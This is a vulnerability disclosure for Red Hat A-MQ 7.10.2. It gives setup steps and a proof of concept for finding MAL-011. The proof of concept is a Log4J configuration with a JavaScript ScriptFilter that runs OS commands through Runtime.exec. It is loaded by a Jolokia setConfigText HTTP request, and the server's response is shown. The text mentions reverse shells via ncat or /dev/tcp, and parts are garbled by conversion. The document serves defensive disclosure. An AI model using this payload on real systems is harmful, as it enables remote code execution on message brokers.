
# **Redhat A-MQ Disclosures**

Version 7.10.2.GA

## **Environment:**

- Redhat A-MQ 7.10.2.GA
- Redhat Enterprise Linux 9 (5.14.0-162.12.1.el9\_1.x86\_64)



## Setup:

In order to setup the environment on an Redhat Linux machine the following commands were run:

```
sudo useradd amq-broker
sudo passwd amq-broker
sudo mkdir /opt/redhat
sudo mkdir /opt/redhat/amq-broker
# Download "amq-broker-7.10.2-bin.zip" from
https://access.redhat.com/jbossnetwork/restricted/softwareDetail.html?softwareId=104925&
product=jboss.amq.broker&version=7.10.2&downloadType=distributions
sudo mv amq-broker-7.10.2-bin.zip /opt/redhat/amq-broker
sudo chown -R amq-broker:amq-broker /opt/redhat/amq-broker
su - amq-broker
cd /opt/redhat/amq-broker
unzip amq-broker-7.10.2-bin.zip
cd amq-broker-7.10.2
./bin/artemis create mybroker
"/opt/redhat/amq-broker/amq-broker-7.10.2/mybroker/bin/artemis" run
```

## Findings:

### 1. MAL-011: Log4J Misconfiguration Allows Malicious JavaScript

### **Description:**

The Log4J component of the Redhat A-MQ application is misconfigured to allow the execution of arbitrary "Script" attributes in the Log4J config. If an attacker finds a way to modify the Log4J config used by A-MQ (e.g. via "setConfigText"), the insertion of malicious JavaScript scripts that will result in RCE.

**Note:** Although Log4J supports JavaScript, Groovy and Beanshell scripts<sup>1</sup> this misconfiguration is specific to Redhat A-MQ as these scripts are not executed in a default Apache ActiveMQ Artemis (v2.27.1) application.

### **Proof of Concept:**

We will use the following Log4J XML configuration in order to leverage the Nashorn Engine and execute arbitrary OS commands via JavaScript:

```
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="debug" name="RCETest">
  <Loggers>
    <Logger name="EventLogger" level="debug" additivity="false">
        <ScriptFilter onMatch="ACCEPT" onMisMatch="DENY">
         <Script name="RCE" language="javascript"><![CDATA[</pre>
        var cmd = "id";
        print(new java.io.BufferedReader(new
java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(cmd).getInputStream())).li
nes().collect(java.util.stream.Collectors.joining()));
           11>
          </Script>
       </ScriptFilter>
   </Logger>
   <Root level="debug">
     <ScriptFilter onMatch="ACCEPT" onMisMatch="DENY">
        <ScriptRef ref="RCE"/>
     </ScriptFilter>
   </Root>
  </Loggers>
</Configuration>
```

<sup>&</sup>lt;sup>1</sup> https://logging.apache.org/log4j/log4j-2.8.2/manual/configuration.html#Scripts

We will perform the following HTTP Request-Response pair to alter the Log4J configuration to execute arbitrary OS commands.

**Note:** In this scenario we will leverage the following Log4J MBean "org.apache.logging.log4j2:type=15b642b9".

### Request:

```
POST
/console/jolokia/?maxDepth=7\&maxCollectionSize=50000\&ignoreErrors=true\&canonicalNaming=figure for the consoleration of the consolerat
alse HTTP/1.1
Host: localhost:8161
Content-Length: 923
Content-Type: text/json
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/98.0.4758.82 Safari/537.36
Origin: http://localhost:8161
Referer: http://localhost:8161/console/jmx/operations?nid=root-
org.apache.logging.log4j2-15b642b9
{\tt Cookie: JSESSIONID=node01wcofwog0bq791gmzbz8v99d8e0.node0}
Connection: close
{"type":"exec", "mbean":"org.apache.logging.log4j2:type=15b642b9", "operation":"setConfigT
ext(java.lang.String,java.lang.String)", "arguments":["<?xml version=\"1.0\" encoding=\"UTF-8\"?> <Configuration status=\"debug\" name=\"RCETest\"> <Loggers>
<ScriptFilter
                                                                                                                                      <Script name=\"RCE\"</pre>
language=\"javascript\"><![CDATA[ \t\tvar cmd = \"id\"; \t\tprint(new</pre>
java.io.BufferedReader(new
java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(cmd).getInputStream())).li
nes().collect(java.util.stream.Collectors.joining()));

<
                                                                                                                                                                    <ScriptRef ref=\"RCE\"/>
</ScriptFilter> </Root> </Loggers> </Configuration>","utf-8"]}
```

#### Response:

```
HTTP/1.1 200 OK
Connection: close
Date: Wed, 08 Feb 2023 20:44:52 GMT
***TRUNCATED***
Content-Type: text/plain;charset=utf-8
Expires: Wed, 08 Feb 2023 19:44:52 GMT
{"request":{"mbean":"org.apache.logging.log4j2:type=15b642b9","arguments":["<?xml
version=\"1.0\" encoding=\"UTF-8\"?> <Configuration status=\"debug\" name=\"RCETest\">
           <Logger name=\"EventLogger\" level=\"debug\" additivity=\"false\">
<Loggers>
<ScriptFilter onMatch=\"ACCEPT\" onMisMatch=\"DENY\">
                                                      <Script name=\"RCE\"
language=\"javascript\"><![CDATA[ \t\tvar cmd = \"id\"; \t\tprint(new</pre>
java.io.BufferedReader(new
java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(cmd).getInputStream())).li
8"], "type": "exec", "operation": "setConfigText(java.lang.String,java.lang.String)"}, "value
":null, "timestamp":1675889092, "status":200}
```

**Note:** For this scenario we have chosen to execute the Linux "id" command and use the "print" function to display its output in the AMQBroker console. In an actual real life attack an attacker will be more interested in obtaining a reverse shell (e.g. via the "ncat" binary, "/dev/tcp" reverse shell, etc.).

If the attack was performed successfully we should observe that a new "Script" element was created and the output of our system command (in this case "id") will appear (multiple times) in the A-MQ console.

